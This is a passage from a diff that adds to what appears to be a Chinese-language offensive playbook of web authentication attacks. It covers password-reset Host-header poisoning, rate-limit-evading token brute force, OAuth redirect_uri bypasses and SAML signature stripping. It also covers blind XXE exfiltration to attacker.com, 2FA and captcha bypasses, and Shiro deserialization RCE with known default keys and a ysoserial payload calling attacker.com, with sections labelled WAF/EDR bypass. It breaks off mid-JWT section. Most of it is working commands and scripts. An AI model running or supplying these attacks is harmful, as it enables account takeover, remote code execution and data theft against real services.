+ # 受害者收到的重置链接: http://evil.com/reset?token=xxx
865
+ ```
866
+
867
+ **WAF/EDR 绕过变体:**
868
+
869
+ **1. Host头投毒多种变体绕过**
870
+ _Host头投毒的多种WAF绕过变体_
871
+ ```
872
+ # 标准Host头投毒:
873
+ curl -H "Host: evil.com" -d "email=victim@target.com" "http://target.com/forgot"
874
+
875
+ # X-Forwarded-Host(常被Web框架信任):
876
+ curl -H "X-Forwarded-Host: evil.com" -d "email=victim@target.com" "http://target.com/forgot"
877
+
878
+ # 多Host头:
879
+ curl -H "Host: target.com" -H "Host: evil.com" -d "email=victim@target.com" "http://target.com/forgot"
880
+
881
+ # Host中注入端口:
882
+ curl -H "Host: target.com@evil.com" -d "email=victim@target.com" "http://target.com/forgot"
883
+ curl -H "Host: target.com:evil.com" -d "email=victim@target.com" "http://target.com/forgot"
884
+
885
+ # 绝对URL覆盖Host:
886
+ curl "http://target.com/forgot" -H "Host: evil.com" --request-target "http://target.com/forgot"
887
+
888
+ # X-Original-URL / X-Rewrite-URL:
889
+ curl -H "X-Original-URL: /forgot" -H "Host: evil.com" "http://target.com/forgot"
890
+ ```
891
+
892
+ **2. Token爆破速率限制绕过**
893
+ _通过IP头轮换和UA随机化绕过重置Token爆破的速率限制_
894
+ ```
895
+ # IP轮换绕过速率限制:
896
+ import requests
897
+ import random
898
+
899
+ def try_token(token, proxy=None):
900
+ headers = {
901
+ "X-Forwarded-For": f"{random.randint(1,254)}.{random.randint(0,254)}.{random.randint(0,254)}.{random.randint(1,254)}",
902
+ "User-Agent": random.choice([
903
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
904
+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)",
905
+ "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
906
+ ])
907
+ }
908
+ r = requests.post("http://target.com/reset-password",
909
+ data={"token": token, "new_password": "Test123!"},
910
+ headers=headers, timeout=10)
911
+ return r.status_code != 400
912
+
913
+ # 如果Token是6位数字:
914
+ for i in range(0, 1000000):
915
+ token = f"{i:06d}"
916
+ if try_token(token):
917
+ print(f"[+] Valid token: {token}")
918
+ break
919
+ ```
920
+
921
+ ---
922
+
923
+ ### OAuth漏洞 `auth-oauth`
924
+ OAuth认证流程漏洞
925
+ 子类:**OAuth** · tags: `auth` `oauth` `redirect`
926
+
927
+ **前置条件:** 使用OAuth登录
928
+
929
+ **攻击链:**
930
+
931
+ **1. CSRF攻击**
932
+ _缺乏state参数_
933
+ ```
934
+ # OAuth CSRF - 强制账号绑定攻击:
935
+ # 1. 获取攻击者的OAuth授权码:
936
+ # 正常走OAuth流程到callback但不完成
937
+ # 截获: http://target.com/callback?code=ATTACKER_CODE
938
+
939
+ # 2. 构造CSRF页面:
940
+ <html>
941
+ <body>
942
+ <img src="http://target.com/callback?code=ATTACKER_CODE">
943
+ <!-- 或使用iframe -->
944
+ <iframe src="http://target.com/callback?code=ATTACKER_CODE" style="display:none"></iframe>
945
+ </body>
946
+ </html>
947
+
948
+ # 3. 受害者访问该页面后,其账号将绑定攻击者的OAuth账号
949
+ # 4. 攻击者可通过OAuth登录受害者账号
950
+
951
+ # 防御检测: 检查授权请求是否携带state参数
952
+ ```
953
+
954
+ **2. Redirect URI**
955
+ _重定向到攻击者获取Code_
956
+ ```
957
+ redirect_uri=http://attacker.com
958
+ ```
959
+
960
+ **3. OAuth State参数缺失/可预测CSRF**
961
+ _检测OAuth流程中state参数的缺失或可预测性_
962
+ ```
963
+ # 1. 检测state参数是否存在:
964
+ # 访问OAuth授权URL,查看是否有state参数
965
+ curl -sI "http://target.com/oauth/authorize?client_id=xxx&redirect_uri=http://target.com/callback&response_type=code"
966
+
967
+ # 2. 如果没有state参数 → CSRF绑定攻击:
968
+ # 攻击者用自己的OAuth账号发起授权,获取code
969
+ # 构造链接: http://target.com/callback?code=ATTACKER_CODE
970
+ # 发给受害者 → 受害者的账户绑定了攻击者的OAuth账号
971
+
972
+ # 3. 如果state可预测:
973
+ # 多次请求获取state值分析规律
974
+ for i in $(seq 1 5); do
975
+ state=$(curl -sI "http://target.com/oauth/authorize?client_id=xxx&redirect_uri=http://target.com/callback&response_type=code" | grep -i "location" | grep -oP "state=([^&]+)" | cut -d= -f2)
976
+ echo "State $i: $state"
977
+ sleep 0.5
978
+ done
979
+ ```
980
+
981
+ **4. Token窃取与Scope越权**
982
+ _OAuth Token窃取、Scope越权、跨应用Token复用测试_
983
+ ```
984
+ # 1. 通过redirect_uri泄露Token:
985
+ # implicit flow中Token在URL fragment中:
986
+ # http://attacker.com/callback#access_token=xxx
987
+ # 使用Referer泄露:
988
+ # 如果callback页面有外链,Token会通过Referer泄露
989
+
990
+ # 2. Scope越权 - 请求更高权限:
991
+ curl "http://target.com/oauth/authorize?client_id=xxx&redirect_uri=http://target.com/callback&response_type=code&scope=admin+write+delete"
992
+
993
+ # 3. Token复用测试 - 用authorization_code换取的Token访问其他API:
994
+ TOKEN="stolen_access_token_here"
995
+ curl -H "Authorization: Bearer ${TOKEN}" "http://target.com/api/admin/users"
996
+ curl -H "Authorization: Bearer ${TOKEN}" "http://target.com/api/admin/settings"
997
+ curl -H "Authorization: Bearer ${TOKEN}" "http://other-app.target.com/api/user/info"
998
+
999
+ # 4. refresh_token窃取后无限续期:
1000
+ curl -d "grant_type=refresh_token&refresh_token=STOLEN_REFRESH_TOKEN&client_id=xxx" "http://target.com/oauth/token"
1001
+ ```
1002
+
1003
+ **WAF/EDR 绕过变体:**
1004
+
1005
+ **1. Redirect URI绕过技巧合集**
1006
+ _多种redirect_uri白名单绕过技术_
1007
+ ```
1008
+ # 白名单绕过技巧:
1009
+
1010
+ # 1. 子域名绕过(如果白名单用后缀匹配):
1011
+ redirect_uri=http://evil.target.com/callback
1012
+ redirect_uri=http://target.com.evil.com/callback
1013
+
1014
+ # 2. 路径遍历:
1015
+ redirect_uri=http://target.com/callback/../../../evil-page
1016
+ redirect_uri=http://target.com/callback/..%2f..%2f..%2fevil-page
1017
+
1018
+ # 3. 参数注入:
1019
+ redirect_uri=http://target.com/callback?next=http://evil.com
1020
+ redirect_uri=http://target.com/callback%23@evil.com
1021
+
1022
+ # 4. 端口注入:
1023
+ redirect_uri=http://target.com:8080@evil.com/callback
1024
+
1025
+ # 5. URL编码绕过:
1026
+ redirect_uri=http://target.com%40evil.com/callback
1027
+ redirect_uri=http://target.com%2540evil.com/callback
1028
+
1029
+ # 6. localhost/内网绕过:
1030
+ redirect_uri=http://127.0.0.1/callback
1031
+ redirect_uri=http://[::1]/callback
1032
+
1033
+ # 7. 开放重定向链:
1034
+ redirect_uri=http://target.com/redirect?url=http://evil.com
1035
+ ```
1036
+
1037
+ ---
1038
+
1039
+ ### SAML漏洞 `auth-saml`
1040
+ SAML断言攻击
1041
+ 子类:**SAML** · tags: `auth` `saml` `xml`
1042
+
1043
+ **前置条件:** 使用SAML SSO
1044
+
1045
+ **攻击链:**
1046
+
1047
+ **1. XML签名绕过**
1048
+ _SAML Raider工具_
1049
+ ```
1050
+ # SAML断言篡改 - 删除签名验证:
1051
+ # 1. 拦截SAML Response(Burp Suite):
1052
+ # POST /saml/acs 中的SAMLResponse参数
1053
+
1054
+ # 2. Base64解码:
1055
+ echo "SAML_RESPONSE_BASE64" | base64 -d > saml.xml
1056
+
1057
+ # 3. 修改断言中的NameID(提权为admin):
1058
+ # 原始: <NameID>user@target.com</NameID>
1059
+ # 修改: <NameID>admin@target.com</NameID>
1060
+
1061
+ # 4. 删除签名块(删除整个<Signature>...</Signature>):
1062
+ xmlstarlet ed -d "//*[local-name()='Signature']" saml.xml > saml_modified.xml
1063
+
1064
+ # 5. 重新Base64编码并替换:
1065
+ base64 -w0 saml_modified.xml | xclip -sel clip
1066
+
1067
+ # 6. 在Burp中用修改后的值替换SAMLResponse参数
1068
+ ```
1069
+
1070
+ **2. XXE攻击**
1071
+ _SAML基于XML_
1072
+ ```
1073
+ # SAML XXE注入攻击:
1074
+ # 1. 解码SAML Response后,在XML声明后注入DTD:
1075
+ <?xml version="1.0" encoding="UTF-8"?>
1076
+ <!DOCTYPE foo [
1077
+ <!ENTITY xxe SYSTEM "file:///etc/passwd">
1078
+ ]>
1079
+ <samlp:Response ...>
1080
+ <saml:Assertion>
1081
+ <saml:Subject>
1082
+ <saml:NameID>&xxe;</saml:NameID>
1083
+ </saml:Subject>
1084
+ </saml:Assertion>
1085
+ </samlp:Response>
1086
+
1087
+ # 2. 带外数据外泄(Blind XXE):
1088
+ <!DOCTYPE foo [
1089
+ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
1090
+ %dtd;
1091
+ ]>
1092
+
1093
+ # evil.dtd内容:
1094
+ <!ENTITY % data SYSTEM "file:///etc/passwd">
1095
+ <!ENTITY % payload "<!ENTITY exfil SYSTEM 'http://attacker.com/?d=%data;'>">
1096
+ %payload;
1097
+
1098
+ # 3. Base64编码后替换SAMLResponse参数发送
1099
+ ```
1100
+
1101
+ **3. SAML Response篡改与重放** _[linux]_
1102
+ _SAML Response篡改身份信息和重放攻击_
1103
+ ```
1104
+ # 1. 拦截SAML Response:
1105
+ # Burp Suite中拦截POST到/saml/acs的请求
1106
+ # SAMLResponse参数是Base64编码的XML
1107
+
1108
+ # 2. 解码并修改:
1109
+ echo "BASE64_SAML_RESPONSE" | base64 -d > saml_resp.xml
1110
+
1111
+ # 3. 修改关键字段:
1112
+ # - NameID: 修改为目标用户 (admin@target.com)
1113
+ # - Audience: 确保匹配SP
1114
+ # - Conditions/NotBefore/NotOnOrAfter: 确保时间有效
1115
+
1116
+ # 使用xmlstarlet修改:
1117
+ xmlstarlet ed -N saml="urn:oasis:names:tc:SAML:2.0:assertion" -u "//saml:NameID" -v "admin@target.com" saml_resp.xml > modified.xml
1118
+
1119
+ # 4. 重新编码提交:
1120
+ cat modified.xml | base64 -w0 > encoded.txt
1121
+ curl -d "SAMLResponse=$(cat encoded.txt)&RelayState=/" "http://target.com/saml/acs"
1122
+
1123
+ # 5. 重放攻击(如果未检查InResponseTo/时间):
1124
+ # 直接重放之前抓到的有效SAMLResponse
1125
+ curl -d "SAMLResponse=PREVIOUSLY_CAPTURED&RelayState=/" "http://target.com/saml/acs"
1126
+ ```
1127
+
1128
+ **4. SAML签名绕过高级技术** _[linux]_
1129
+ _SAML签名绕过的多种高级技术_
1130
+ ```
1131
+ # 1. 签名包装攻击(XSW - XML Signature Wrapping):
1132
+ # 将签名的断言移到XML其他位置,注入恶意断言
1133
+ # 有8种XSW攻击变体
1134
+
1135
+ # 使用SAML Raider (Burp插件):
1136
+ # - 拦截SAMLResponse
1137
+ # - 选择XSW攻击类型(1-8)
1138
+ # - 修改NameID为admin
1139
+ # - 重放
1140
+
1141
+ # 2. 签名排除(如果SP不验证签名):
1142
+ # 删除XML中的<ds:Signature>整个节点
1143
+ xmlstarlet ed -N ds="http://www.w3.org/2000/09/xmldsig#" -d "//ds:Signature" saml_resp.xml > no_sig.xml
1144
+
1145
+ # 3. 自签名证书替换:
1146
+ # 生成自签名证书:
1147
+ openssl req -new -x509 -days 365 -nodes -newkey rsa:2048 -keyout my.key -out my.crt -subj "/CN=Evil IDP"
1148
+
1149
+ # 使用xmlsec1签名:
1150
+ xmlsec1 --sign --privkey-pem my.key --id-attr:ID Assertion saml_resp.xml
1151
+
1152
+ # 4. Comment注入绕过:
1153
+ # admin<!-- -->@target.com 可能被解析为 admin@target.com
1154
+ # 在NameID中注入: admin@target.com<!---->.evil.com
1155
+ ```
1156
+
1157
+ **WAF/EDR 绕过变体:**
1158
+
1159
+ **1. SAML XML混淆绕过WAF** _[linux]_
1160
+ _XML编码混淆和多种格式变体绕过WAF对SAML的检测_
1161
+ ```
1162
+ # 1. XML编码混淆:
1163
+ # 使用CDATA段包裹payload:
1164
+ <NameID><![CDATA[admin@target.com]]></NameID>
1165
+
1166
+ # 2. DTD定义实体:
1167
+ <!DOCTYPE foo [<!ENTITY user "admin@target.com">]>
1168
+ <NameID>&user;</NameID>
1169
+
1170
+ # 3. XML命名空间混淆:
1171
+ <saml:NameID xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
1172
+ xmlns:x="http://evil.com">admin@target.com</saml:NameID>
1173
+
1174
+ # 4. 编码SAMLResponse的不同方式:
1175
+ # 标准Base64:
1176
+ cat saml.xml | base64 -w0
1177
+ # 带换行的Base64:
1178
+ cat saml.xml | base64
1179
+ # URL编码后的Base64:
1180
+ cat saml.xml | base64 -w0 | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read()))"
1181
+
1182
+ # 5. Deflate+Base64(某些实现接受):
1183
+ python3 -c "import zlib,base64; print(base64.b64encode(zlib.compress(open('saml.xml','rb').read())).decode())"
1184
+ ```
1185
+
1186
+ ---
1187
+
1188
+ ### 2FA绕过 `auth-2fa`
1189
+ 绕过双因素认证
1190
+ 子类:**2FA** · tags: `auth` `2fa` `mfa`
1191
+
1192
+ **前置条件:** 开启2FA
1193
+
1194
+ **攻击链:**
1195
+
1196
+ **1. 直接访问**
1197
+ _强制浏览绕过2FA页面_
1198
+ ```
1199
+ # 2FA绕过 - 强制浏览(直接跳过验证步骤):
1200
+ # 1. 正常登录输入用户名密码,到达2FA验证页面
1201
+ # 2. 不输入验证码,直接访问后台页面:
1202
+ curl -b "session=LOGIN_SESSION_COOKIE" "http://target.com/admin/dashboard" -v
1203
+ curl -b "session=LOGIN_SESSION_COOKIE" "http://target.com/api/user/profile" -v
1204
+ curl -b "session=LOGIN_SESSION_COOKIE" "http://target.com/home" -v
1205
+
1206
+ # 3. 修改前端JS跳过验证:
1207
+ # 在浏览器Console中执行:
1208
+ # window.location = '/dashboard'
1209
+
1210
+ # 4. 修改响应中的验证状态:
1211
+ # Burp拦截响应: {"2fa_required":true} → {"2fa_required":false}
1212
+
1213
+ # 5. 直接调用API(可能不检查2FA状态):
1214
+ curl -b "session=COOKIE" "http://target.com/api/v1/users" -v
1215
+ ```
1216
+
1217
+ **2. 验证码爆破**
1218
+ _无速率限制_
1219
+ ```
1220
+ # 2FA验证码爆破:
1221
+ # 1. TOTP通常为6位数字(000000-999999):
1222
+ # 但有30秒时间窗口,需要极快速爆破
1223
+
1224
+ # 2. 短信验证码爆破(4位):
1225
+ # Burp Intruder:
1226
+ POST /verify-2fa HTTP/1.1
1227
+ Content-Type: application/json
1228
+
1229
+ {"otp":"§0000§","session":"LOGIN_SESSION"}
1230
+ # Payload: Numbers 0000-9999
1231
+
1232
+ # 3. 检测速率限制:
1233
+ # 快速发送10次请求,观察是否被限制
1234
+ for i in $(seq 1000 1010); do
1235
+ curl -s -o /dev/null -w "%{http_code}" \
1236
+ -d "otp=$i&session=SESS" "http://target.com/verify-2fa"
1237
+ echo " - $i"
1238
+ done
1239
+
1240
+ # 4. 绕过速率限制:
1241
+ # X-Forwarded-For IP轮换
1242
+ # 修改User-Agent
1243
+ # 添加空字节: otp=1234%00
1244
+ ```
1245
+
1246
+ **3. 逻辑绕过**
1247
+ _修改响应包_
1248
+ ```
1249
+ response=true / success=1
1250
+ ```
1251
+
1252
+ **WAF/EDR 绕过变体:**
1253
+
1254
+ **1. 响应篡改与直接端点访问**
1255
+ _通过拦截并修改2FA验证响应包欺骗前端认为验证通过,或绕过2FA页面直接访问受保护端点测试服务端是否强制校验2FA状态_
1256
+ ```
1257
+ # 响应篡改(Burp拦截):
1258
+ # 原始响应: {"success":false,"message":"Invalid OTP"}
1259
+ # 修改为: {"success":true,"message":"Valid OTP"}
1260
+
1261
+ # 直接跳过2FA步骤:
1262
+ # 登录后不访问/verify-2fa,直接访问:
1263
+ GET /dashboard HTTP/1.1
1264
+ Cookie: session=AFTER_LOGIN_SESSION
1265
+
1266
+ # 修改状态参数:
1267
+ POST /verify-2fa
1268
+ {"otp":"000000","skip":true}
1269
+ /verify-2fa?verified=true
1270
+ ```
1271
+
1272
+ **2. 备份码爆破与验证竞态条件**
1273
+ _对2FA备份恢复码进行字典爆破(通常限制不如OTP严格),利用竞态条件并发发送多个OTP验证请求绕过速率限制_
1274
+ ```
1275
+ # 备份码爆破(通常为8位数字/字母):
1276
+ # 使用Burp Intruder对backup_code参数进行爆破
1277
+ POST /verify-backup-code
1278
+ {"backup_code":"§12345678§"}
1279
+ # 检查速率限制和锁定策略
1280
+
1281
+ # 竞态条件(Race Condition):
1282
+ # 同时发送多个验证请求:
1283
+ for i in $(seq 000000 000100); do
1284
+ curl -s -X POST "http://target.com/verify-2fa" -b "session=SID" -d "otp=$i" &
1285
+ done
1286
+ wait
1287
+ # 多线程并发可能绕过速率限制
1288
+ ```
1289
+
1290
+ ---
1291
+
1292
+ ### 验证码绕过 `auth-captcha`
1293
+ 绕过图形验证码
1294
+ 子类:**验证码** · tags: `auth` `captcha` `bypass`
1295
+
1296
+ **前置条件:** 存在验证码
1297
+
1298
+ **攻击链:**
1299
+
1300
+ **1. 重复使用**
1301
+ _验证码未一次性失效_
1302
+ ```
1303
+ # 验证码重放攻击(一次验证,多次使用):
1304
+ # 1. 正常获取并输入正确验证码
1305
+ # 2. 在Burp中抓取成功的请求
1306
+ # 3. 将请求发送到Repeater,重复发送:
1307
+ POST /login HTTP/1.1
1308
+ Content-Type: application/x-www-form-urlencoded
1309
+
1310
+ username=admin&password=§test§&captcha=VALID_CAPTCHA
1311
+
1312
+ # 4. 如果每次响应都正常(非"验证码错误")
1313
+ # 说明验证码未一次性失效,可用于暴力破解
1314
+
1315
+ # 5. 配合Intruder进行密码爆破:
1316
+ # Positions: password字段
1317
+ # Payloads: 密码字典
1318
+ # 固定captcha字段为已知有效值
1319
+
1320
+ # Burp Intruder设置: Sniper模式,Payload为密码列表
1321
+ ```
1322
+
1323
+ **2. 空值绕过**
1324
+ _验证码参数留空_
1325
+ ```
1326
+ # 验证码空值/参数删除绕过:
1327
+ # 1. 提交空验证码:
1328
+ POST /login HTTP/1.1
1329
+ Content-Type: application/x-www-form-urlencoded
1330
+
1331
+ username=admin&password=test&captcha=
1332
+
1333
+ # 2. 提交null值:
1334
+ POST /login HTTP/1.1
1335
+ Content-Type: application/json
1336
+
1337
+ {"username":"admin","password":"test","captcha":null}
1338
+
1339
+ # 3. 完全删除captcha参数:
1340
+ POST /login HTTP/1.1
1341
+
1342
+ username=admin&password=test
1343
+
1344
+ # 4. 提交特殊值:
1345
+ captcha=0
1346
+ captcha=undefined
1347
+ captcha[]=
1348
+ captcha=true
1349
+
1350
+ # 5. 不同编码:
1351
+ captcha=%00
1352
+ captcha=%20
1353
+
1354
+ # 如果任一方式登录成功,说明验证码验证可被绕过
1355
+ ```
1356
+
1357
+ **3. 删除参数**
1358
+ _后端未检查参数存在性_
1359
+ ```
1360
+ # 验证码参数移除绕过:
1361
+ # 1. 原始请求(带验证码):
1362
+ POST /login HTTP/1.1
1363
+ Content-Type: application/x-www-form-urlencoded
1364
+
1365
+ username=admin&password=test&captcha=abcd
1366
+
1367
+ # 2. 在Burp Repeater中删除captcha参数:
1368
+ POST /login HTTP/1.1
1369
+ Content-Type: application/x-www-form-urlencoded
1370
+
1371
+ username=admin&password=test
1372
+
1373
+ # 3. 修改Content-Type测试(可能走不同处理逻辑):
1374
+ POST /login HTTP/1.1
1375
+ Content-Type: application/json
1376
+
1377
+ {"username":"admin","password":"test"}
1378
+
1379
+ # 4. 通过移动端API(可能无验证码):
1380
+ POST /api/mobile/login HTTP/1.1
1381
+ Content-Type: application/json
1382
+
1383
+ {"username":"admin","password":"test"}
1384
+
1385
+ # 5. 旧版本API(可能无验证码):
1386
+ POST /api/v1/login HTTP/1.1
1387
+ ```
1388
+
1389
+ **WAF/EDR 绕过变体:**
1390
+
1391
+ **1. 会话复用与参数移除绕过**
1392
+ _测试验证码是否在使用后立即失效(可重复使用),删除captcha参数检查后端是否强制校验,或传入空值、数组等异常类型绕过类型检查_
1393
+ ```
1394
+ # 会话复用(验证码未一次性失效):
1395
+ # 1. 正确输入验证码一次
1396
+ # 2. 后续请求继续使用相同captcha值
1397
+ # Burp Repeater重放同一captcha参数
1398
+
1399
+ # 删除captcha参数:
1400
+ # 原始: user=admin&pass=123&captcha=ABCD
1401
+ # 修改: user=admin&pass=123
1402
+ # 后端可能不校验缺失的参数
1403
+
1404
+ # 空值绕过:
1405
+ captcha=
1406
+ captcha=null
1407
+ captcha=undefined
1408
+ captcha[]=
1409
+ ```
1410
+
1411
+ **2. OCR识别与音频验证码利用**
1412
+ _使用OCR工具(Tesseract)自动识别简单图形验证码,利用音频验证码的语音识别替代方案,或检查响应中是否直接泄露验证码值_
1413
+ ```
1414
+ # OCR自动识别图形验证码:
1415
+ # Python + Tesseract:
1416
+ import pytesseract
1417
+ from PIL import Image
1418
+ img = Image.open("captcha.png")
1419
+ text = pytesseract.image_to_string(img)
1420
+ print(text)
1421
+
1422
+ # 音频验证码利用:
1423
+ # 使用Google Speech-to-Text API识别音频验证码
1424
+ # 或使用Selenium自动获取+语音识别
1425
+
1426
+ # 验证码响应泄露:
1427
+ # 检查响应头、Cookie、隐藏字段中是否包含验证码值
1428
+ curl -v "http://target.com/captcha/generate" 2>&1 | grep -iE "captcha|code|verify"
1429
+ ```
1430
+
1431
+ ---
1432
+
1433
+ ### 记住我漏洞 `auth-remember-me`
1434
+ Remember Me功能漏洞
1435
+ 子类:**会话管理** · tags: `auth` `remember-me` `cookie`
1436
+
1437
+ **前置条件:** 开启Remember Me
1438
+
1439
+ **攻击链:**
1440
+
1441
+ **1. Cookie伪造**
1442
+ _明文存储用户名_
1443
+ ```
1444
+ # Remember-Me Cookie伪造:
1445
+ # 1. 分析Cookie结构:
1446
+ # 常见格式: username|timestamp|hash 或 base64(username:expiry:hash)
1447
+ Cookie: remember=admin
1448
+ Cookie: remember=dXNlcjoxNjk5MDAwMDAwOmFiY2QxMjM0
1449
+
1450
+ # 2. Base64解码分析:
1451
+ echo "dXNlcjoxNjk5MDAwMDAwOmFiY2QxMjM0" | base64 -d
1452
+ # 输出: user:1699000000:abcd1234
1453
+
1454
+ # 3. 伪造admin的Cookie:
1455
+ echo -n "admin:1999999999:abcd1234" | base64
1456
+ # 用生成的值替换Cookie
1457
+
1458
+ # 4. 如果使用弱Hash(如MD5(username+secret)):
1459
+ # 注册新账号 → 分析Cookie → 推导secret → 伪造admin Cookie
1460
+
1461
+ # 5. 测试:
1462
+ curl -b "remember=FORGED_VALUE" "http://target.com/dashboard" -v
1463
+ ```
1464
+
1465
+ **2. Base64解码**
1466
+ _弱加密或编码_
1467
+ ```
1468
+ # Remember-Me Cookie解码与分析:
1469
+ # 1. 提取Cookie值:
1470
+ curl -c cookies.txt -d "username=testuser&password=test123&remember=1" "http://target.com/login"
1471
+ cat cookies.txt | grep -i remember
1472
+
1473
+ # 2. Base64解码:
1474
+ echo "COOKIE_VALUE" | base64 -d
1475
+
1476
+ # 3. 如果是URL编码+Base64:
1477
+ python3 -c "import urllib.parse,base64; print(base64.b64decode(urllib.parse.unquote('COOKIE_VALUE')))"
1478
+
1479
+ # 4. 尝试Hex解码:
1480
+ echo "COOKIE_VALUE" | xxd -r -p
1481
+
1482
+ # 5. 分析解码后的结构:
1483
+ # username:timestamp:hmac
1484
+ # {"user":"admin","exp":1699999999}
1485
+ # 序列化对象(Java/PHP)
1486
+
1487
+ # 6. 检查是否为已知框架的Cookie格式:
1488
+ # Shiro: AES-CBC加密(默认密钥kPH+bIxk5D2deZiIxcaaaA==)
1489
+ # Django: base64(payload):timestamp:signature
1490
+ ```
1491
+
1492
+ **3. 记住密码Token逆向分析** _[linux]_
1493
+ _逆向分析remember-me Token的生成逻辑_
1494
+ ```
1495
+ # 1. 收集多个remember-me Token:
1496
+ for i in $(seq 1 5); do
1497
+ token=$(curl -s -c - -d "username=testuser&password=testpass&remember=1" "http://target.com/login" | grep -i "remember" | awk '{print $NF}')
1498
+ echo "Token $i: $token"
1499
+ sleep 1
1500
+ done
1501
+
1502
+ # 2. Base64解码分析:
1503
+ echo "REMEMBER_TOKEN" | base64 -d | xxd | head -20 # security-allowlist: SEC008
1504
+
1505
+ # 3. 检查常见格式:
1506
+ # username:timestamp:hash
1507
+ # username:md5(password)
1508
+ # serialized_object(Java: rO0AB... PHP: O:4:...)
1509
+
1510
+ # 4. 如果是Java序列化(Shiro RememberMe):
1511
+ echo "REMEMBER_TOKEN" | base64 -d | xxd | head -3 # security-allowlist: SEC008
1512
+ # 如果以 aced0005 开头 → Java序列化对象
1513
+ # 如果Token加密: 尝试Shiro默认密钥 kPH+bIxk5D2deZiIxcaaaA==
1514
+
1515
+ # 5. PHP反序列化检查:
1516
+ echo "REMEMBER_TOKEN" | base64 -d
1517
+ # 如果形如 O:4:"User":2:{s:4:"name";s:5:"admin";...} → PHP序列化
1518
+ ```
1519
+
1520
+ **4. Shiro RememberMe反序列化RCE**
1521
+ _利用Shiro默认密钥 + 反序列化链实现RCE_
1522
+ ```
1523
+ # Apache Shiro框架的RememberMe Cookie反序列化漏洞
1524
+ # 原理: AES-CBC加密(默认密钥) → Base64编码 → Cookie
1525
+
1526
+ # 1. 检测Shiro框架:
1527
+ curl -sI "http://target.com/" | grep -i "rememberMe=deleteMe"
1528
+ # 发送无效Cookie触发特征响应:
1529
+ curl -sI "http://target.com/" -b "rememberMe=test" | grep -i "rememberMe"
1530
+
1531
+ # 2. 已知Shiro密钥列表测试:
1532
+ # kPH+bIxk5D2deZiIxcaaaA==
1533
+ # 2AvVhdsgUs0FSA3SDFAdag==
1534
+ # 3AvVhmFLUs0KTA3Kprsdag==
1535
+ # ...
1536
+
1537
+ # 3. 使用ShiroExploit工具:
1538
+ # java -jar ShiroExploit.jar http://target.com
1539
+
1540
+ # 4. 手动构造payload(需要ysoserial):
1541
+ java -jar ysoserial.jar CommonsCollections2 "curl http://attacker.com/rce" > payload.ser
1542
+
1543
+ # AES加密:
1544
+ python3 -c "
1545
+ import base64
1546
+ from Crypto.Cipher import AES
1547
+ import os
1548
+
1549
+ key = base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==')
1550
+ iv = os.urandom(16)
1551
+ payload = open('payload.ser','rb').read()
1552
+ # PKCS5Padding
1553
+ pad = 16 - len(payload) % 16
1554
+ payload += bytes([pad]) * pad
1555
+ cipher = AES.new(key, AES.MODE_CBC, iv)
1556
+ encrypted = iv + cipher.encrypt(payload)
1557
+ print(base64.b64encode(encrypted).decode())
1558
+ "
1559
+ ```
1560
+
1561
+ **WAF/EDR 绕过变体:**
1562
+
1563
+ **1. Remember-Me Cookie绕过检测**
1564
+ _枚举Shiro密钥和不同加密模式绕过检测_
1565
+ ```
1566
+ # 1. 修改Cookie名称大小写:
1567
+ curl -b "RememberMe=payload" "http://target.com/"
1568
+ curl -b "rememberme=payload" "http://target.com/"
1569
+ curl -b "REMEMBERME=payload" "http://target.com/"
1570
+
1571
+ # 2. Shiro密钥枚举(使用不同密钥加密payload):
1572
+ import base64, itertools
1573
+ from Crypto.Cipher import AES
1574
+ import os
1575
+
1576
+ keys = [
1577
+ "kPH+bIxk5D2deZiIxcaaaA==",
1578
+ "2AvVhdsgUs0FSA3SDFAdag==",
1579
+ "3AvVhmFLUs0KTA3Kprsdag==",
1580
+ "4AvVhmFLUs0KTA3Kprsdag==",
1581
+ "Z3VucwAAAAAAAAAAAAAAAA==",
1582
+ "wGiHplamyXlVB11UXWol8g==",
1583
+ "fCq+/xW488hMTCD+cmJ3aQ==",
1584
+ ]
1585
+
1586
+ payload = open("payload.ser", "rb").read()
1587
+ for k in keys:
1588
+ try:
1589
+ key = base64.b64decode(k)
1590
+ iv = os.urandom(16)
1591
+ pad = 16 - len(payload) % 16
1592
+ padded = payload + bytes([pad]) * pad
1593
+ cipher = AES.new(key, AES.MODE_CBC, iv)
1594
+ enc = base64.b64encode(iv + cipher.encrypt(padded)).decode()
1595
+ print(f"Key: {k} → Cookie length: {len(enc)}")
1596
+ except Exception as e:
1597
+ print(f"Key: {k} → Error: {e}")
1598
+
1599
+ # 3. GCM模式(Shiro 1.4.2+):
1600
+ # 新版Shiro使用AES-GCM,需要对应的加密方式
1601
+ ```
1602
+
1603
+ ---
1604
+
1605
+ ### JWT认证漏洞 `auth-jwt`
1606
+ 利用JWT(JSON Web Token)实现缺陷伪造或篡改认证令牌,实现未授权访问或权限提升
1607
+ 子类:**JWT** · tags: `auth` `jwt` `token`
1608
+
1609
+ **前置条件:** 目标使用JWT进行认证;可以获取或拦截JWT令牌;JWT库存在已知漏洞或服务端配置不当
1610
+
1611
+ **攻击链:**
1612
+
1613
+ **1. JWT解码与分析**
1614
+ _解码JWT的Header和Payload分析其结构和权限信息_
1615
+ ```
1616
+ # 手动解码JWT (Base64)
1617
+ echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" | cut -d. -f2 | base64 -d 2>/dev/null
1618
+
1619
+ # 使用jwt_tool解码:
1620
+ python3 jwt_tool.py <token>
1621
+
1622
+ # 在线解码:
1623
+ # https://jwt.io/
1624
+
1625
+ # 检查关键字段:
1626
+ # - alg: 签名算法(HS256/RS256/none)
1627
+ # - kid: 密钥ID(可能可注入)
1628
+ # - typ: 令牌类型
1629
+ # - exp: 过期时间
1630
+ # - role/admin/isAdmin: 权限字段
1631
+ ```
1632
+
1633
+ **2. Algorithm None攻击**
1634
+ _将JWT的alg字段设为none,使服务端跳过签名验证,直接接受篡改的payload_
1635
+ ```
1636
+ # 将alg改为none绕过签名验证
1637
+ import base64, json
1638
+
1639
+ header = {"alg": "none", "typ": "JWT"}
1640
